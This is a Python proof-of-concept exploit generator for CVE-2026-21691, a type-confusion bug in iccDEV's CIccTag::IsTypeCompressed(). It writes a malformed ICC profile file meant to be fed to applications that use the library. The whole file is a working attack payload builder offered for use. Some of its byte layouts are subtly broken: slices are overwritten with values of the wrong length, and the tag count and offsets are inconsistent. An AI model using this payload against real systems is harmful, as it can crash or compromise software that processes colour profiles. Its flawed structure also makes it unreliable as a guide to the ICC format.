#!/usr/bin/env python3
"""
CVE-2026-21691 PoC - iccDEV Type Confusion in CIccTag::IsTypeCompressed()
This PoC demonstrates the vulnerability by creating a malformed ICC profile
that triggers type confusion in the IsTypeCompressed() function.
"""
import struct
import sys
def create_malformed_icc_profile():
"""
Create a malicious ICC profile that triggers type confusion
in CIccTag::IsTypeCompressed() function.
"""
# ICC Profile Header (128 bytes)
header = bytearray(128)
# Profile size (will be updated)
struct.pack_into('>I', header, 0, 0)
# Preferred CMM type (not critical)
header[4:8] = b'lcms'
# Profile version
header[8:12] = struct.pack('>I', 0x04000000)
# Device class (input device)
header[12:16] = b'scn '
# Color space (RGB)
header[16:20] = b'RGB '
# PCS (Profile Connection Space)
header[20:24] = b'XYZ '
# Creation date/time
import time
now = time.gmtime()
header[24:28] = struct.pack('>H', now.tm_year)
header[28:30] = struct.pack('>H', now.tm_mon)
header[30:32] = struct.pack('>H', now.tm_mday)
header[32:34] = struct.pack('>H', now.tm_hour)
header[34:36] = struct.pack('>H', now.tm_min)
header[36:38] = struct.pack('>H', now.tm_sec)
# Profile signature
header[44:48] = b'acsp'
# Primary platform (Microsoft)
header[48:52] = b'MSFT'
# Profile flags
struct.pack_into('>I', header, 52, 0)
# Device manufacturer
header[60:64] = b'Test'
# Device model
header[64:68] = b'Model'
# Tag count
tag_count = 2
struct.pack_into('>I', header, 124, tag_count)
# Tag table
tag_table = bytearray()
# Tag 1: malicious tag with type confusion
# Create a tag with manipulated type field
tag_signature1 = b'mft1' # lut8Type or manipulated type
tag_offset1 = 128 + 4 + (tag_count * 12) + 4 # After tag table
tag_size1 = 48
# Tag data with malformed structure
tag_data1 = bytearray(tag_size1)
# Set type field to trigger type confusion
tag_data1[0:4] = b'\x00\x00\x00\x01' # Malformed type indicator
tag_data1[4:8] = struct.pack('>I', 0xFFFFFFFF) # Invalid size to trigger confusion
# Tag 2: description tag
tag_signature2 = b'desc'
tag_offset2 = tag_offset1 + tag_size1
tag_size2 = 32
# Tag table entries
tag_table += tag_signature1
tag_table += struct.pack('>I', tag_offset1)
tag_table += struct.pack('>I', tag_size1)
tag_table += tag_signature2
tag_table += struct.pack('>I', tag_offset2)
tag_table += struct.pack('>I', tag_size2)
# Tag 2 data
tag_data2 = bytearray(tag_size2)
tag_data2[0:4] = b'desc'
struct.pack_into('>I', tag_data2, 4, 12) # Count
tag_data2[8:20] = b'Malicious!!' + b'\x00' * 2
# Assemble profile
profile = header + struct.pack('>I', tag_count) + tag_table + tag_data1 + tag_data2
# Update profile size
struct.pack_into('>I', profile, 0, len(profile))
return bytes(profile)
def main():
print("[*] CVE-2026-21691 PoC Generator")
print("[*] iccDEV CIccTag::IsTypeCompressed() Type Confusion")
print()
# Generate malicious ICC profile
malicious_profile = create_malformed_icc_profile()
# Save to file
output_file = 'CVE-2026-21691-malicious.icc'
with open(output_file, 'wb') as f:
f.write(malicious_profile)
print(f"[+] Malicious ICC profile created: {output_file}")
print(f"[+] Profile size: {len(malicious_profile)} bytes")
print()
print("[!] This PoC generates a malformed ICC profile that may trigger")
print("[!] type confusion in iccDEV library versions < 2.3.1.2")
print()
print("[*] Usage: Have an application using iccDEV process this file")
if __name__ == '__main__':
main()